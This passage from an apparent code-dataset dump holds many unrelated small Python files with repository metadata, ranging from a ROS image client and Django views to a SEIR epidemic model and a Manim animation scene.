labels[800:]\n\nprint(colors.BOLD, 'Fitting full model...', colors.ENDC)\nae.fit_full_model(train_np, train_labels, \n test_data=validation_np,\n test_labels=test_labels,\n epochs=300)\nprint(colors.OKGREEN, 'Training complete.', colors.ENDC)\n\nlabels = ae.full_model.predict(validation_np[-17:])\ndemo_labels = test_labels[-17:]\n\nprint()\nprint(colors.OKBLUE, '=======', colors.ENDC)\nprint(colors.HEADER, 'Training results:', colors.ENDC)\nprint()\n\nfor idx in range(len(demo_labels)):\n print(colors.BOLD, 'Expected:', colors.ENDC, end='')\n print(', '.join(decode_labels(demo_labels[idx])))\n\n print(colors.BOLD, 'Got:', colors.ENDC, end='')\n print(', '.join(decode_labels(labels[idx])))\n print()","repo_name":"brotheroftux/genres-classifier","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"36380697453","text":"from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup\r\nfrom keyboards.kb_fabric import statistic_callback, chooce_type_callback\r\n\r\nkb_choice = InlineKeyboardMarkup(row_width=2, inline_keyboard=[\r\n [\r\n InlineKeyboardButton(text=\"Послематчевое табло\", callback_data=chooce_type_callback.new(type='summary')),\r\n InlineKeyboardButton(text=\"Командная аналитика\", callback_data=chooce_type_callback.new(type=\"team\")),\r\n InlineKeyboardButton(text=\"Персональная статистика\", callback_data=chooce_type_callback.new(type=\"personal\"))\r\n ]\r\n])","repo_name":"Stkos95/Statbot","sub_path":"keyboards/inline.py","file_name":"inline.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34218701248","text":"#!/usr/bin/env python\n\nimport rospy\nimport numpy as np\nimport cv2\nfrom sensor_msgs.msg import Image\nfrom cv_bridge import CvBridge, CvBridgeError\nfrom simple_webcam.srv import Image_Proc,Image_ProcResponse\nimport actionlib\nfrom simple_webcam.msg import image_procAction,image_procGoal,image_procFeedback,image_procResult\n\nbridge = CvBridge()\n\nimg_rec_flag = False\n\nclass my_img:\n\tdef __init__(self):\n\t\tself.img = bridge.cv2_to_imgmsg(np.zeros((500,500,3), np.uint8), \"bgr8\")\n\t\tself.img_rec_flag = False\n\tdef get_img(self):\n\t\treturn(self.img)\n\tdef set_img(self,img):\n\t\tself.img = img\n\tdef set_flag(self):\n\t\tself.img_rec_flag = True\n\tdef get_flag(self):\n\t\treturn(self.img_rec_flag)\n\nI = my_img()\n\ndef video_callback(Image_msg):\n\tI.set_img(Image_msg)\n\tI.set_flag()\n\ndef callback_feedback(feedback):\n\trospy.loginfo(\"Feedback recieved\")\t\n\tcv_feedback = bridge.imgmsg_to_cv2(feedback.image_inter, \"bgr8\")\n\tcv2.namedWindow(\"Camera 1 Blur feedback\")\n\tcv2.imshow('Camera 1 Blur feedback',cv_feedback)\n\tcv2.waitKey(1)\n\ndef proc_act_client():\n\tclient = actionlib.SimpleActionClient('image_proc', image_procAction)\n\n\t# Waits until the action server has started up and started\n\t# listening for goals.\n\tclient.wait_for_server()\n\n\t# Creates a goal to send to the action server.\n\tgoal = image_procGoal(I.get_img())\n\n\t# Sends the goal to the action server.\n\tclient.send_goal(goal,feedback_cb=callback_feedback)\n\n\t# Waits for the server to finish performing the action.\n\tclient.wait_for_result()\n\t\n\trospy.loginfo(\"Result recieved\")\n\tcv2.destroyAllWindows()\n\treturn client.get_result()\n\nif __name__ == '__main__':\n\trospy.init_node('proc_act_client', anonymous=True, disable_signals = True)\n\trospy.loginfo(\"Starting Image Processing Action Client\")\n\trospy.Subscriber(\"video_stream\", Image, video_callback)\n\twhile not I.get_flag():\n\t\tpass\n\t# try:\n\tcv_result = bridge.imgmsg_to_cv2(proc_act_client().image_out, \"bgr8\")\n\t# cv2.namedWindow(\"Camera 1 Blur result\")\n\t# cv2.imshow('Camera 1 Blur result',cv_result)\n\t# cv2.waitKey(0)\n\t# # except rospy.ROSInterruptException:\n\t# \trospy.loginfo(\"program interrupted before completion\")\n\tcv2.destroyAllWindows()\n\trospy.signal_shutdown(\"Recieved responce. Shutting down client\")\n","repo_name":"sohambhave/simple_webcam","sub_path":"scripts/proc_act_client.py","file_name":"proc_act_client.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3589764051","text":"#!/usr/bin/python3\n\nimport os,sys,requests,threading\nfrom sys import platform as _platform\n\nprint(\"PID: \",os.getpid())\n\n\nif _platform == \"linux\":\n\tprint(os.getloadavg())\n\nload1, load5, load15 = os.getloadavg()\n\nprint(\"Load average over the last 5 minute:\", load5)\n\nnproc = os.cpu_count() \n \nprint(\"Number of CPUs in the system:\", nproc) \n\n\nif (nproc - load5 < 1):\n\tsys.exit()\n\nurls=['https://api.github.com​', 'http://bilgisayar.mu.edu.tr/​', 'https://www.python.org/​ ', 'http://akrepnalan.com/ceng2034​', 'https://github.com/caesarsalad/wow​']\n\ndef check_url(url):\n\tx=requests.get(url)\n\tprint(x.status_code)\n\tif(x.status_code>=200 and x.status_code <=300):\n\t\tprint(\"The url:\",url,\"is valid.\")\n\telif(x.status_code>=404):\n\t\tprint(\"The url:\",url,\" is not valid.\")\n\n\nthreads = [threading.Thread(target=check_url, args=(url,)) for url in urls]\n\nfor thread in threads:\n thread.start()\n\n","repo_name":"cilememre24/ceng_2034_2020_midterm","sub_path":"ceng_2034_answer.py","file_name":"ceng_2034_answer.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"11974725480","text":"\"\"\"\nСделал более универсально, чем описано в задаче (без захардкоженных списков)\n\"\"\"\n\nimport csv\nimport os\nimport re\n\nimport chardet\n\nSOURCE_DIR = 'source_files'\nSEARCH_STRINGS = [\n 'Изготовитель системы',\n 'Название ОС',\n 'Код продукта',\n 'Тип системы'\n]\n\n\nclass NoDataInFile(Exception):\n def __init__(self, search_string, file_name):\n self.search_string = search_string\n self.file_name = file_name\n\n\ndef get_data(source_dir: str) -> list:\n \"\"\"\n Функция парсинга файлов в заданной директории\n :param source_dir: название директории\n :return: список словарей спаршенных данных\n \"\"\"\n\n extention = 'txt'\n\n files = list()\n for file in os.listdir(source_dir):\n if file.endswith(extention):\n files.append(file)\n\n result_list = list()\n\n for file in files:\n full_path = os.path.join(source_dir, file)\n\n # кодировка файла\n with open(full_path, 'rb') as fb:\n encoding = chardet.detect(fb.read())['encoding']\n\n # парсинг файла в словарь\n file_dict = dict()\n with open(full_path, encoding=encoding) as f:\n for line in f.readlines():\n line = line.strip() # исключение переноса строки\n for search_string in SEARCH_STRINGS:\n if re.search(search_string, line):\n # если в строке нашлась подстрока поиска, заполняем словарь\n file_dict[search_string] = re.sub(search_string + ':' + ' +', '', line)\n\n # Проверка, что полученные данные полны\n for search_string in SEARCH_STRINGS:\n if search_string not in file_dict.keys():\n raise NoDataInFile(search_string, file)\n\n result_list.append(file_dict)\n\n return result_list\n\n\ndef write_to_csv(target_file):\n \"\"\"\n Функция записи данных в csv-файл\n :param target_file: имя файла для записи\n :return: None\n \"\"\"\n data = get_data(source_dir=SOURCE_DIR)\n with open(target_file, 'w', encoding='utf-8') as f:\n writer = csv.DictWriter(f, fieldnames=SEARCH_STRINGS)\n writer.writeheader()\n for row in data:\n writer.writerow(row)\n\n\nif __name__ == '__main__':\n csv_file = 'result_01.csv'\n try:\n write_to_csv(os.path.join(SOURCE_DIR, csv_file))\n except NoDataInFile as e:\n print(f'Ошибка: нет строки во входном файле: {e}')\n","repo_name":"tkvitko/study_python_async","sub_path":"homework_02/task_01.py","file_name":"task_01.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"28160627726","text":"input = [input() for i in range(2)]\nN = input[0]\nCards = list(map(int, input[1].split()))\n\nAlice = 0\nBob = 0\n\nif len(Cards) % 2 == 1:\n idx = Cards.index(min(Cards))\n lastNum = Cards.pop(idx)\n Alice += lastNum\n\nturns = len(Cards) / 2\nfor i in range(int(turns)):\n first = Cards.index(max(Cards))\n largerNum = Cards.pop(first)\n Alice += largerNum\n\n second = Cards.index(max(Cards))\n smallerNum = Cards.pop(second)\n Bob += smallerNum\n\nprint(Alice - Bob)\n ","repo_name":"KokiIto-45/atcoder_python","sub_path":"contest/abc088/b/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"14023071707","text":"from django.contrib.auth.forms import UserCreationForm\nfrom django.shortcuts import render, redirect\nfrom user.forms.profile_form import ProfileForm\nfrom user.models import Profile, UserHistory\nfrom django.contrib.auth import (authenticate, login)\n\n\ndef register(request):\n if request.user.is_authenticated:\n return redirect('/')\n next = request.GET.get('next')\n form = UserCreationForm(request.POST or None)\n if form.is_valid():\n user = form.save()\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password1')\n new_user = authenticate(username=username, password=password)\n login(request, user)\n if next:\n return redirect(next)\n return redirect('/')\n\n context = {\n 'form': form\n }\n\n return render(request, 'user/register.html', context)\n\n\ndef edit_profile(request):\n profile = Profile.objects.filter(user=request.user).first()\n if request.method == 'POST':\n form = ProfileForm(instance=profile, data=request.POST)\n if form.is_valid():\n profile = form.save(commit=False)\n profile.user = request.user\n profile.save()\n return redirect('profile')\n return render(request, 'user/edit_profile.html', {\n 'form': ProfileForm(instance=profile)\n })\n\n\ndef profile(request):\n if not request.user.is_authenticated:\n return redirect('/')\n\n user_history = UserHistory.objects.filter(user_id=request.user.id).order_by('-date')\n print(user_history[:10])\n return render(request, '../templates/user/profile.html', {\n 'user_history': user_history[:4]\n })\n\n\ndef history(request):\n if not request.user.is_authenticated:\n return redirect('/')\n\n user_history = UserHistory.objects.filter(user_id=request.user.id).order_by('-date')\n return render(request, '../templates/user/history.html', {\n 'history': user_history\n })\n","repo_name":"runarlevi/VN2_hopur54","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"39823507228","text":"#\n#\n# |∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕—\\|∕\n# ⓖ REDUCE CONDITIONAL PROBABILITY DISTRIBUTION. Start with a 'quiescent' conditional-probability distribution. Marginalize out \n# a specified conditioning variable with a specified distribution. Return the reduced probability distribution.\n#\n# Our inputs are:\n# ⧐ digraph, A Networkx digraph object containing the vertex and its predecessors;\n# ⧐ var_states, the variable state;\n# ⧐ vertex, The target vertex for which the reduced conditional probability is desired; and \n# ⧐ cond_dist, A dictionary object containing baseline conditional-probability distributions for the target\n# vertex and its conditioning variables.\n#\n# Our logic performs the following steps.\n# Ⓐ Create a list of predecessors to vertex.\n# Ⓑ Build the conditional-probability table for vertex and for its predecessors for which probability distributions\n# are specified.\n# Ⓒ Merge the CPTs to perform factor multiplication.\n# Ⓓ Perform the factor multiplication. \n# Ⓔ Marginalize out the specified vertices. Use groupby-sum.\n# Ⓕ Return the ID-root-reduced probability-distribution as a list.\n#\n# Ⓐ Create a list of predecessors to vertex.\n#\ndef reduce_cpd(digraph, var_states, vertex, cond_dist):\n\tparent_verts = digraph.predecessors(vertex)\n#\n# Ⓑ Build the conditional-probability table for vertex. Use internally-defined function state_df\n# to build the variable states for each variable. We then use a constant-unit-valued join key\n# to make our merge perform like a cartesian product. We drop unneded attributes from the colum.\n\tbase_cpt = fct.reduce(lambda x, y: pd.merge(left = x, right = y),\n\t\t\t\t\t\t\t\t\t[state_df(state_var = vert,\n\t\t\t\t\t\t\t\t\t\t\tvar_states = var_states.drop('UNMEASURED',axis = 0)['CAT_LEVEL_IDX'])\n\t\t\t\t\t\t\t\t\tfor vert in digraph.predecessors(vertex) + [vertex]])\\\n\t\t\t\t\t.assign(MEAS = cond_dist.get(vertex))\\\n\t\t\t\t\t.drop(labels = 'join_key',\n\t\t\t\t\t\taxis = 1)\\\n\t\t\t\t\t.rename(columns = {'MEAS' : 'P_' + vertex})\n#\n# Ⓒ Merge the CPTs to perform factor multiplication. We simultaneously build the CPTs for the ID-root vertices.\n\tfactor_prod = fct.reduce(lambda x, y: pd.merge(left = x, right = y),\n\t\t\t\t\t\t\t[base_cpt] +\\\n\t\t\t\t\t\t\t[state_df(state_var = vert,\n\t\t\t\t\t\t\t\t\t\tvar_states = var_states.drop('UNMEASURED',axis = 0)['CAT_LEVEL_IDX'])\\\n\t\t\t\t\t\t\t\t\t.assign(MEAS = cond_dist.get(vert))\\\n\t\t\t\t\t\t\t\t\t.drop(labels = 'join_key',\n\t\t\t\t\t\t\t\t\t\t\taxis = 1)\\\n\t\t\t\t\t\t\t\t\t.rename(columns = {'MEAS' : 'P_' + vert})\n\t\t\t\t\t\t\tfor vert in list(cond_dist.keys())\n\t\t\t\t\t\t\tif vert != vertex] )\n#\n# Ⓓ Perform the factor multiplication. \n\tfactor_prod = factor_prod.assign(factor_prod = factor_prod[[fact_col for fact_col in factor_prod.columns.tolist()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif 'P_' in fact_col]].product(axis = 1).tolist())\\\n\t\t\t\t\t\t\t.drop(labels = [fact_col for fact_col in factor_prod.columns.tolist()\n\t\t\t\t\t\t\t\t\t\t\tif 'P_' in fact_col],\n\t\t\t\t\t\t\t\taxis = 1)\\\n\t\t\t\t\t\t\t.rename(columns = {'factor_prod' : 'P_' + vertex})\n#\n# Ⓔ Marginalize out the ID-root vertices.\n\tred_cpt = factor_prod.groupby(by = list(set(parent_verts) - set(list(cond_dist.keys()))) + [vertex],\n\t\t\t\t\t\t\t\taxis = 0,\n\t\t\t\t\t\t\t\tas_index = False)['P_' + vertex].sum()\\\n\t\t\t\t\t\t\t[list(set(parent_verts) - set(list(cond_dist.keys()))) + [vertex] + ['P_'+ vertex]]\\\n\t\t\t\t\t\t\t.sort_values(by = list(set(parent_verts) - set(list(cond_dist.keys()))) + [vertex],\n\t\t\t\t\t\t\t\t\t\taxis = 0)\n#\n# Ⓕ Return the ID-root-reduced probability-distribution as a list.\n\treturn red_cpt['P_' + vertex].tolist()\n#","repo_name":"hamlett-neil-ur/diagnostic_cognitive_model","sub_path":"PrototypeSubroutinesInR/REDUCE_CPD.py","file_name":"REDUCE_CPD.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"69888996427","text":"# Avazu CTR prediction\n# SGD Logistic regression + hashing trick.\n\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime, date, time\nfrom sklearn.naive_bayes import MultinomialNB\nfrom sklearn.feature_extraction import FeatureHasher\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import log_loss\nimport scipy as sp\n\ncols = ['tweet']\n\n# add two columns for hour and weekday\ndef dayhour(timestr):\n d = datetime.strptime(str(x), \"%y%m%d%H\")\n return [float(d.weekday()), float(d.hour)]\n\ndef textClean(s):\n remove = ['\\\\t','\\\\n',' ']\n # s = s.replace(i, Noneunct)\n\n for i in remove:\n s = re.sub(i,'',s)\n s = s.lower()\n s = s.split()\n return s\n\ndef textCleaner(value):\n for i in parenthesis:\n value = value.replace(i, '')\n # print value\n for word in value.split(' '):\n if '#' in word:\n if word[0] == '#':\n value = re.sub(word,\"\",value)\n if '@' in word:\n value = re.sub(word,\"\",value)\n # print word\n if 'http://' in word or 'http' in word or '.com' in word:\n value = re.sub(word,\"\",value)\n # print word\n for i in string.punctuation:\n value = value.replace(i, '')\n return value\n\nfh = FeatureHasher(n_features = 2**20, input_type=\"string\", non_negative=True)\n\n# Train classifier\nclf = MultinomialNB()\ntrain = pd.read_csv(\"newtrain.csv\", chunksize = 50000, iterator = True)\nall_classes = np.array([0, 1])\nfor chunk in train:\n y_train = chunk[\"polarity\"]\n chunk = chunk[cols]\n chunk['tweet'] = textCleaner(chunk['tweet'])\n chunk['tweet'] = textClean(chunk['tweet'])\n Xcat = fh.transform(np.asarray(chunk.astype(str)))\n clf.partial_fit(Xcat, y_train, classes=all_classes)\n \n# Create a submission file\nusecols = cols + [\"id\"]\nX_test = pd.read_csv(\"newtest.csv\", usecols=usecols)\n\nX_enc_test = fh.transform(np.asarray(X_test.astype(str)))\n\ny_act = pd.read_csv(\"newtest.csv\", usecols=['click'])\ny_pred = clf.predict_proba(X_enc_test)[:, 1]\n\nwith open('logloss.txt','a') as f:\n f.write('\\n'+str(log_loss(y_act, y_pred))+'\\tMultinomialNB')\n\nwith open(\"sentiment.csv\", \"w\") as f:\n f.write(\"id,tweet,sentiment\\n\")\n for idx, xid in enumerate(X_test.id):\n f.write(str(xid) + \",\" + str(idx) + ',' + \"{0:.10f}\".format(y_pred[idx]) + \"\\n\")\nf.close()","repo_name":"antiDigest/UserClassify","sub_path":"MultinomialNB.py","file_name":"MultinomialNB.py","file_ext":"py","file_size_in_byte":2349,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"8858820470","text":"import unittest\n\nfrom qemu_tcp_wrapper import qemu_oneshot_test\n\nexpected_wrapper_errors_output = [\n 'Truncated RegisterAs: -2',\n 'Truncated WhoIs: -2',\n 'Too short RegisterAs: -3',\n 'Too short WhoIs: -3',\n 'Not found WhoIs: -4',\n]\n\nexpected_too_many = [\n 'RegisterAs before too many: 0',\n 'RegisterAs one too many: -4'\n]\n\nexpected_happypath = [\n 'Basic RegisterAs/WhoIs: Me: 2, Task in question: 2',\n 'Other task registers: Them: 4, Task registered: 4',\n 'Overwriting task: Them: 68, Task registered: 68',\n 'I\\'m 2 and registered Task1 and Task3. Nameserver says Task1 and Task3 are 2 and 2'\n]\n\n\nclass TestNameserver(unittest.TestCase):\n def test_wrapper_errors(self):\n terminal_output = qemu_oneshot_test('test_nameserver_wrapper_errors', '', 10)\n lines = list(filter(lambda x: x != '', terminal_output.split('\\n\\r')))\n self.assertEqual(len(lines), len(expected_wrapper_errors_output))\n for i, exp in enumerate(expected_wrapper_errors_output):\n self.assertEqual(lines[i], exp)\n\n def test_too_many(self):\n terminal_output = qemu_oneshot_test('test_nameserver_too_many', '', 10)\n lines = list(filter(lambda x: x != '', terminal_output.split('\\n\\r')))\n self.assertEqual(len(lines), len(expected_too_many))\n for i, exp in enumerate(expected_too_many):\n self.assertEqual(lines[i], exp)\n\n def test_happypath(self):\n terminal_output = qemu_oneshot_test('test_nameserver_happypath', '', 10)\n lines = list(filter(lambda x: x != '', terminal_output.split('\\n\\r')))\n self.assertEqual(len(lines), len(expected_happypath))\n for i, exp in enumerate(expected_happypath):\n self.assertEqual(lines[i], exp)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"thechrisu/trains","sub_path":"test/e2e/test_nameserver.py","file_name":"test_nameserver.py","file_ext":"py","file_size_in_byte":1799,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"81"} +{"seq_id":"9672394744","text":"'''\n SEIR model plotting\n\n 2020-03-28\n'''\nimport numpy as np\nfrom scipy.integrate import odeint\nimport matplotlib.pylab as plt\nfrom matplotlib.pylab import rcParams\nplt.style.use('seaborn-colorblind')\n\nN = 60480000 # community size\nt_max = 300 \ntspan = np.linspace(0.0, t_max, t_max + 1)\n\n# parameters to fit\nr0 = 2.67 #Reproduction number\nbeta = 0.205 # infection force\nI0 = 7123 # Init Infected patients\ngamma = 0.154 # average rate or death (Hubei)\nsigma = 1/7 # incubation average (7.0 days)\n\ndef seir(v,t):\n global r0, beta, sigma, gamma\n # v = [S, E, I, R]\n x = beta*v[0]*v[2]/N # infected rate of the day\n dS = -x # Susceptible\n dE = x - sigma * v[1] #Exposed\n dI = sigma * v[1] - gamma * v[2] #Infected\n dR = gamma * v[1] # Removed\n dN = dI +dR\n return np.array([dS, dE, dI, dR, dN])\n\nini_state = [N-I0,I0,0, 0,0]\n\n#rcParams['figure.figsize'] = 12,7\node_int = odeint(seir, ini_state, tspan)\n\nfor n in range(len(ode_int)):\n ode = ode_int[n]\n S = int(ode[0])\n E = int(ode[1])\n I = int(ode[2])\n R = int(ode[3])\n N = int(ode[4])\n print(n,N)\n\n","repo_name":"IchiroYoshida/python_public","sub_path":"covid/calc/italy/seir_out.py","file_name":"seir_out.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"81"} +{"seq_id":"5211538150","text":"from tensorflow.python.keras.utils.data_utils import Sequence\nimport numpy as np\nfrom tqdm import tqdm\nfrom random import shuffle \nimport cv2\nimport os\n\n\n\ndef process_data(data_dir, dog_image_list, cat_image_lst, IMG_SIZE):\n ## Helper for manual_pre_process\n data_df = []\n labels = []\n cat_count, dog_count = 0, 0\n DATA_FOLDER = data_dir\n for img in tqdm(dog_image_list):\n path = os.path.join(DATA_FOLDER, img)\n label = 1\n img = cv2.imread(path, cv2.IMREAD_COLOR)\n img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))\n data_df.append([np.array(img), np.array(label), path])\n for img in tqdm(cat_image_lst):\n path = os.path.join(DATA_FOLDER, img)\n label = 0\n img = cv2.imread(path, cv2.IMREAD_COLOR)\n img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))\n data_df.append([np.array(img), np.array(label), path])\n # DATA_FOLDER = aug_dir\n # for img in tqdm(dog_aug_lst):\n # path = os.path.join(DATA_FOLDER, img)\n # label = 1\n # img = cv2.imread(path, cv2.IMREAD_COLOR)\n # img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))\n # data_df.append([np.array(img), np.array(label), path])\n # for img in tqdm(cat_aug_lst):\n # path = os.path.join(DATA_FOLDER, img)\n # label = 0\n # img = cv2.imread(path, cv2.IMREAD_COLOR)\n # img = cv2.resize(img, (IMG_SIZE, IMG_SIZE))\n # data_df.append([np.array(img), np.array(label), path])\n shuffle(data_df)\n return data_df\n\n\ndef manual_pre_process(data_dir, IMG_SIZE, DATA_SAMPLE_SIZE, isTrain=True):\n dog_image_lst = [file for file in os.listdir(data_dir) if 'dog' in file][:int(DATA_SAMPLE_SIZE/2)]\n cat_image_lst = [file for file in os.listdir(data_dir) if 'cat' in file][:int(DATA_SAMPLE_SIZE/2)]\n # dog_aug_lst = [file for file in os.listdir(aug_dir) if 'dog' in file][:int(AUG_SAMPLE_SIZE/2)]\n # cat_aug_lst = [file for file in os.listdir(aug_dir) if 'cat' in file][:int(AUG_SAMPLE_SIZE/2)]\n # dog_image_lst = [file for file in os.listdir(dir) if 'dog' in file]\n # cat_image_lst = [file for file in os.listdir(dir) if 'cat' in file]\n data_df = process_data(data_dir, dog_image_lst, cat_image_lst, IMG_SIZE)\n X = np.array([i[0] for i in data_df]).reshape(-1, IMG_SIZE, IMG_SIZE, 3)\n y = np.array([i[1] for i in data_df])\n files = np.array([i[2] for i in data_df])\n return X, y, files\n\n\n\nclass DatasetSequence(Sequence):\n ## Take the processed data and make it easiy digestible for model training\n\n def __init__(self, x_set, y_set, batch_size, augmentations=None):\n self.x, self.y = x_set, y_set\n self.batch_size = batch_size\n self.augment = augmentations\n\n def __len__(self):\n return int(np.ceil(len(self.x) / float(self.batch_size)))\n\n def __getitem__(self, idx):\n batch_x = self.x[idx * self.batch_size:(idx + 1) * self.batch_size]\n batch_y = self.y[idx * self.batch_size:(idx + 1) * self.batch_size]\n \n if self.augment == None:\n return batch_x, batch_y\n else:\n return np.stack([\n self.augment(image=x)[\"image\"] for x in batch_x\n ], axis=0), np.array(batch_y)","repo_name":"reiffd7/gradcam_cats-dogs","sub_path":"pre_processing.py","file_name":"pre_processing.py","file_ext":"py","file_size_in_byte":3036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72403250505","text":"import re\n\n\ndef main():\n html = input(\"HTML: \")\n print(parse(html))\n\n\ndef parse(s):\n if re.search(r\"<\\/iframe>\", s):\n url_pattern = re.search(\n r\"https?:\\/\\/(www\\.)?youtube\\.com\\/embed\\/(\\w+)\", s)\n if url_pattern:\n split_url = url_pattern.group(2)\n return \"https://youtu.be/\" + split_url\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Damz1/CS50-Python","sub_path":"pset7/watch/watch.py","file_name":"watch.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"73605880265","text":"from datetime import datetime\nfrom unittest.mock import MagicMock, patch\n\nfrom airflow import DAG\nfrom airflow.models import TaskInstance\n\n# from airflow_salesforce_plugin.operators import SalesforceAttachmentToS3Operator, SalesforceToFileOperator, SalesforceToS3Operator\n\n\ndef test_salesforce_to_file_operator(\n soql_params, csv_dir, sql_file, salesforce_to_file_operator\n):\n csv_filename = f\"{sql_file.name}.csv\"\n operator = salesforce_to_file_operator.operator\n target = salesforce_to_file_operator.target\n operator.hook = MagicMock()\n # with patch(\"airflow_salesforce_plugin.hooks.salesforce_hook.SalesforceHook\") as mock_hook:\n soql_params = \",\".join(soql_params)\n operator.execute(context={})\n # operator.hook.assert_called_once_with(conn_id=operator.conn_id)\n operator.hook.export.assert_called_once_with(\n sql_file.sql_text, target, soql_params.split(\",\"), True\n )\n","repo_name":"techalchemy/airflow-salesforce-plugin","sub_path":"tests/test_operators.py","file_name":"test_operators.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"17255187495","text":"from manim import *\r\nfrom BinomHelpers import *\r\nimport random\r\n\r\nimport scipy.stats \r\nimport itertools as it\r\n\r\n\r\ndef get_row_of_boxes(height = 0.5, n = 4, **kwargs):\r\n boxes = VGroup()\r\n for _ in range(n):\r\n box = Square(color = LIGHT_GREY, stroke_width = 2, **kwargs)\r\n box.set(height = height)\r\n boxes.add(box)\r\n boxes.arrange(RIGHT, buff = 0.25)\r\n return boxes\r\n\r\ndef get_general_bin_formula():\r\n formula = MathTex(\r\n \"P\", \"(\", \"X\", \"=\", \"k\", \")\", \"=\",\r\n \"\\\\left(\", \"{\" + \"n\", \"\\\\over\", \"k\" + \"}\", \"\\\\right)\", \"\\\\cdot\", \r\n \"p^\", \"k\", \"\\\\cdot\", \r\n \"(\", \"1\", \"-\", \"p\", \")^\", \"{\" + \"n-k\" + \"}\"\r\n )\r\n formula.remove(formula.get_part_by_tex(\"\\\\over\"))\r\n formula.set_color_by_tex_to_color_map({\"p\": YELLOW_D, \"k\": C_COLOR, \"n-k\": X_COLOR})\r\n\r\n return formula\r\n\r\n\r\nclass MultipleChoice(Scene):\r\n def construct(self):\r\n\r\n\r\n self.medicine_question()\r\n self.pass_this_test()\r\n\r\n\r\n def medicine_question(self):\r\n task1 = Tex(\"Frage 1:\", font_size = 60)\\\r\n .to_corner(UL)\\\r\n .set_color_by_gradient(TEAL, TEAL_A, TEAL)\\\r\n .save_state()\r\n uline = Underline(task1, color = DARK_GREY)\r\n\r\n task1.scale(1.6).center()\r\n\r\n body = SVGMobject(SVG_DIR + \"human_body_back\")\r\n body.set(height = 6)\r\n body.to_edge(RIGHT)\r\n gluteus = body[-4:-2]\r\n for muscle in body:\r\n muscle.save_state()\r\n body.center()\r\n\r\n colors = [BLUE, YELLOW, PINK, TEAL]\r\n self.play(DrawBorderThenFill(body, rate_func = rush_into), run_time = 5)\r\n self.play(\r\n AnimationGroup(\r\n *[FadeToColor(body[index], color = random.choice(colors), rate_func = there_and_back) for index in range(1, len(body))], \r\n lag_ratio = 0.02\r\n ), run_time = 4\r\n )\r\n\r\n\r\n # body to side, show number of questions\r\n questions = VGroup(*[Tex(\"Frage \", str(x), \":\", ) for x in range(1, 11)])\r\n questions.arrange(DOWN, aligned_edge = LEFT)\r\n questions.to_corner(UL)\r\n\r\n self.play(\r\n AnimationGroup(\r\n *[Restore(muscle, path_arc = np.pi/3) for muscle in body], lag_ratio = 0.05\r\n ),\r\n LaggedStartMap(FadeIn, questions, shift = 0.25*RIGHT, lag_ratio = 0.05, rate_func = there_and_back), \r\n run_time = 4\r\n )\r\n\r\n\r\n # show question number 1\r\n question = Tex(\"Welche Antwort ist falsch?\\\\\\\\ Der \", \"Musculus gluteus maximus\", \"...\", tex_environment=\"flushleft\")\r\n question.to_corner(UL).shift(2.5*RIGHT)\r\n\r\n self.play(\r\n AnimationGroup(Restore(task1, path_arc = -np.pi/3), Create(uline), lag_ratio = 0.2),\r\n Write(question),\r\n run_time = 2\r\n )\r\n self.wait(0.5)\r\n self.play(\r\n AnimationGroup(*[FadeToColor(mob, PINK) for mob in [question[1], gluteus]], lag_ratio = 0.25),\r\n run_time = 2.5\r\n )\r\n self.wait(0.5)\r\n\r\n\r\n answers_list = [\r\n \"wird vom Nervus gluteus inferior aus \\\\\\\\dem Plexus sacralis innerviert\", \r\n \"hat seinen Ursprung u.a. an der Spina \\\\\\\\iliaca posterior superior\", \r\n \"fällt bei Schädigungen durch das \\\\\\\\Trendelenburg-Zeichen auf\", \r\n \"ist ein wichtiger Extensor im Hüftgelenk \\\\\\\\und ermöglicht das Treppensteigen\"\r\n ]\r\n answers = VGroup(*[Tex(answer, tex_environment=\"flushleft\") for answer in 